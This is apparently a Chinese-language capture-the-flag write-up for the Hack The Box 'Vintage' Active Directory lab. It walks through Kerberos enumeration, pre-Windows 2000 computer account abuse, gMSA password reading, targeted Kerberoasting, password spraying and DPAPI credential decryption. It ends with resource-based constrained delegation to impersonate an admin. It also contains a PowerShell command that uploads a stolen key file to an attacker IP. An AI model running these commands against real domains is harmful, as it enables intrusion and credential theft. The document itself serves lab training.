HTB-Vintage

这个room讲的是一个DPAPI的凭证泄露+基于资源的约束委派+readgMSAPasswrod造成的密码泄露+

是个windows电脑,提前给了账户

  • P.Rosa / Rosaisbest123

然后扫描一遍,判断是个域控

smb连接进行一下尝试

  • smbclient -U ‘vintage.htb/P.Rosa%Rosaisbest123’ -L //DC01.vintage.htb
    • 报错,session setup failed: NT_STATUS_NOT_SUPPORTED
    • 然后查看一下日志↓
  • smbclient -U ‘vintage.htb/P.Rosa%Rosaisbest123’ -L //DC01.vintage.htb –debug-stdout -d 10
    • 是刚开始Kerberos验证没通过,ntlm验证应该是不支持

用nxc指定-k Kerberos验证可以

  • nxc smb DC01.vintage.htb -d vintage.htb -u ‘P.Rosa’ -p ‘Rosaisbest123’ -k
  • nxc smb DC01.vintage.htb -d vintage.htb -u ‘P.Rosa’ -p ‘Rosaisbest123’ -k –shares

用kali模拟域用户

参考

下载

  • apt install -y heimdal-clients libsasl2-modules-gssapi-heimdal
  • vim ./custom_krb5.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[libdefaults]
default_realm = VINTAGE.HTB
dns_lookup_realm = true
dns_lookup_kdc = true

[realms]
VINTAGE.HTB = {
kdc = dc01.vintage.htb
admin_server = dc01.vintage.htb
default_domain = dc01.vintage.htb
}

[domain_realm]
vintage.htb = VINTAGE.HTB
.vintage.htb = VINTAGE.HTB
  • export KRB5_CONFIG=”$PWD/custom_krb5.conf”
  • kinit P.Rosa
  • klist
  • export KRB5CCNAME=/tmp/krb5cc_0

image-20250507093843886

然后开始信息收集

  • ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b ‘DC=VINTAGE,DC=HTB’ ‘(objectClass=user)’ | grep -i samaccountname
    • 列举用户
  • ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b ‘DC=VINTAGE,DC=HTB’ ‘(objectClass=computer)’ | grep -i samaccountname
    • 列举计算机
  • ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b ‘DC=VINTAGE,DC=HTB’ ‘(objectClass=group)’ | grep -i samaccountname
    • dc01.vintage.htb 域控制器上查询所有组,并从查询结果中提取包含 samaccountname 字段的信息
  • vim groups.txt
    • 然后把上遍的组写进去
  • while read group ; do echo -e “${group}\n” ; ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b ‘DC=VINTAGE,DC=HTB’ “(sAMAccountName=${group})” | grep ‘member: ‘ ; echo ‘’ ; done < groups.txt
    • 读取每个组来获取组成员
  • nxc ldap DC01.vintage.htb -d ‘vintage.htb’ -u ‘P.Rosa’ -p ‘Rosaisbest123’ -k -M get-network -o ALL=true
    • 获取dns记录
  • nxc smb DC01.vintage.htb -d vintage.htb -u ‘P.Rosa’ -p ‘Rosaisbest123’ -k –pass-pol
    • 密码组策略

PRE-WINDOWS 2000 COMPATIBLE ACCESS

1
如果一个计算机账户在 PRE-WINDOWS 2000 COMPATIBLE ACCESS 组中,这意味着计算机凭证通常是 DOMAIN.TLD\COMPUTER_NAME$:computer_name ,所以密码是计算机名的的小写形式。

获取第二个票据

利用

  • pipx install git+https://github.com/garrettfoster13/pre2k

    • 这个工具自动发现具有 PRE-WINDOWS 2000 凭证的计算机
  • pre2k unauth -d ‘vintage.htb’ -dc-ip ‘10.10.11.45’ -inputfile computers.txt -save

    • 环境放在myenv了,他会导出一个tgt

我们现在有一个有效的 TGT 用于* FS01$ 计算机账户

获取第三个票据

readgmsapasswrod权限

获取

在analyse的shortest paths上可以看到,这个domain computers有readgmsapasswrod权限

image-20250507165742564

然后通过这个权限获取gMSA01的票据

  • apt install -y bloodyad

  • KRB5CCNAME=’FS01$.ccache’ bloodyAD –host DC01.vintage.htb -k -d vintage.htb get object ‘GMSA01$’ –attr msDS-ManagedPassword

  • impacket-getTGT -dc-ip 10.10.11.45 -hashes :0ae29a5cdfa7d5b72464dc92ffeaa8d1 ‘vintage.htb/gMSA01$‘@DC01.vintage.htb

    • 生成票据
  • mv ‘gMSA01$@DC01.vintage.htb.ccache’ gMSA01.ccache

  • chmod 600 gMSA01.ccache

    • klist 和其他 Heimdal 二进制程序不会读取权限过于开放的票证

image-20250507113016437

flag1+获取第4个票据

SERVICEMANAGERS组用户

image-20250507170246278

获取一下源码targetedKerberoast.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
91         if TGT is None:
592 if TGS is None:
593 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=userName, password=args.auth_password, domain=args.auth_domain, lmhash=None, nthash=auth_nt_hash,
594 aesKey=args.auth_aes_key, kdcHost=args.dc_ip)
595 else:
596 tgt = TGT['KDC_REP']
597 cipher = TGT['cipher']
598 sessionKey = TGT['sessionKey']
599
600 TGT = {}
601 TGT['KDC_REP'] = tgt
602 TGT['cipher'] = cipher
603 TGT['sessionKey'] = sessionKey

改成

591 if TGT is None:
592 if TGS is None:
593 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=userName, password=args.auth_password, domain=args.auth_domain, lmhash=None, nthash=auth_nt_hash,
594 aesKey=args.auth_aes_key, kdcHost=args.dc_ip)
595
596 TGT = {}
597 TGT['KDC_REP'] = tgt
598 TGT['cipher'] = cipher
599 TGT['sessionKey'] = sessionKey
600
601 else:
602 tgt = TGT['KDC_REP']
603 cipher = TGT['cipher']
604 sessionKey = TGT['sessionKey']
  • KRB5CCNAME=gMSA01.ccache python3 targetedKerberoast/targetedKerberoast.py -k –no-pass -d vintage.htb –dc-host DC01.vintage.htb –dc-ip 10.10.11.45
    • 查看hash
  • KRB5CCNAME=gMSA01.ccache ldapsearch -Q -Y GSSAPI -H ldap://dc01.vintage.htb -b “OU=Pre-Migration,DC=vintage,DC=htb” “(CN=svc_ldap)” userAccountControl
    • 查看其他账户的uac
  • 卡太久就重新生成一个票据
  • 但是没出sql的hash
    • ↓因为在node那也能看到区别,有个enable-false,未启用的账户
    • 使用与其它 sql_ 账户相同的 UAC 值启用 sql_svc
1
2
3
4
5
6
KRB5CCNAME=gMSA01.ccache ldapmodify -Q -Y GSSAPI -H ldap://dc01.vintage.htb << EOF
dn: CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
changetype: modify
replace: userAccountControl
userAccountControl: 66048
EOF

获取hash之后john一下,

然后可以发现有个密码重用()

1
nxc ldap DC01.vintage.htb -d 'vintage.htb' -u ad_users.txt -p 'Zer0the0ne' --continue-on-success -k

然后就登录,凭证换一下

  • export KRB5_CONFIG=”$PWD/custom_krb5.conf”
  • kinit C.Neri
    • Zer0the0ne
  • klist
  • export KRB5CCNAME=/tmp/krb5cc_0
  • evil-winrm -i DC01.vintage.htb -r vintage.htb -u ‘C.Neri’

获得flag1+C.NERI账户

DPAPI+获取第5个票据

前提

用户可能在以 C.Neri_adm 身份登录时执行了一些管理任务,因此在该机器上可能会有一些缓存的凭证

基础知识

应用程序调用 CryptProtectData() 来加密某些内容时:

1/DPAPI 为该项目生成一个随机密钥,称为会话密钥。会话密钥用于加密数据(密码等)。

2/ 该会话密钥随后使用用户的密钥加密。密钥是从用户的登录凭证或计算机账户的随机密码派生的。

3/ 最终输出包含加密的数据和加密的会话密钥。

操作

传文件参考

内容参考

列出转储凭证

1
2
3
ls -r -h ~\AppData\Local\Microsoft\Credentials\ | select -expand fullname

ls -r -h ~\AppData\Roaming\Microsoft\Credentials\ | select -expand fullname

列出转储的密钥

1
ls -r -h ~\AppData\Roaming\Microsoft\Protect\ | select -expand fullname

然后传文件这4个文件

1
2
[void](New-Object System.Net.WebClient).UploadFile('http://10.10.16.7/', "C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b")

或者

1
2
3
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\users\c.neri\appdata\roaming\microsoft\credentials\C4BB96844A5C9DD45D5B6A9859252BA6"))

echo "==" | base64 -d > C4BB96844A5C9DD45D5B6A9859252BA6

解密一下,获得转储密钥的key

1
impacket-dpapi masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password 'Zer0the0ne'

然后利用转储密钥的key去解密转储凭证

1
impacket-dpapi credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
  • 在这里我传输过程中文件有损坏,换成base64就行
  • Uncr4ck4bl3P4ssW0rd0312

现在是获取到了 C.NERI_ADM 账户的密码

image-20250507164837996

基于资源的约束委派

image-20250507171954539

image-20250507172155826

  • 设置委派对象属性(如 msDS-AllowedToDelegateTo)之后,生效时间通常也是 0~15 分钟

  • 设置spn账户,单域是30秒以内,多域0-15分钟

  • unset KRB5CCNAME

  • kdestroy

  • export KRB5_CONFIG=”$PWD/custom_krb5.conf”

  • kinit C.Neri_adm

  • klist

  • export KRB5CCNAME=/tmp/krb5cc_0

先生成俩要用的票据

1
2
3
impacket-getTGT -dc-ip 10.129.119.165 'vintage.htb/C.Neri@DC01.vintage.htb'

impacket-getTGT -dc-ip 10.129.119.165 'vintage.htb/C.Neri_adm@DC01.vintage.htb

改svc_ldap的密码

1
KRB5CCNAME=C.Neri@DC01.vintage.htb.ccache net rpc user password svc_ldap --use-kerberos=required -S DC01.vintage.htb

加到约束委派的组里

  • bloodyAD –host dc01.vintage.htb -d ‘vintage.htb’ -k add groupMember “DELEGATEDADMINS” “svc_sql”

创建spn

1
2
3
4
5
6
7
KRB5CCNAME=C.Neri@DC01.vintage.htb.ccache ldapmodify -Q -Y GSSAPI -H ldap://dc01.vintage.htb << EOF
dn: CN=svc_ldap,OU=Pre-Migration,DC=vintage,DC=htb
changetype: modify
add: servicePrincipalName
servicePrincipalName: pwn/pwn
EOF
modifying entry "CN=svc_ldap,OU=Pre-Migration,DC=vintage,DC=htb"

生成svc票据

  • impacket-getTGT -dc-ip 10.10.11.45 ‘vintage.htb/svc_ldap‘@DC01.vintage.htb

最后生成模拟的票据

  • KRB5CCNAME=svc_ldap@DC01.vintage.htb.ccache impacket-getST -k -no-pass -spn ‘HTTP/DC01.vintage.htb’ -impersonate ‘L.Bianchi_adm’ -dc-ip 10.10.11.45 ‘vintage.htb/svc_ldap‘@DC01.vintage.htb

用票据登录,验证

1
KRB5CCNAME=L.Bianchi_adm@HTTP_DC01.vintage.htb@VINTAGE.HTB.ccache evil-winrm -i DC01.vintage.htb -r vintage.htb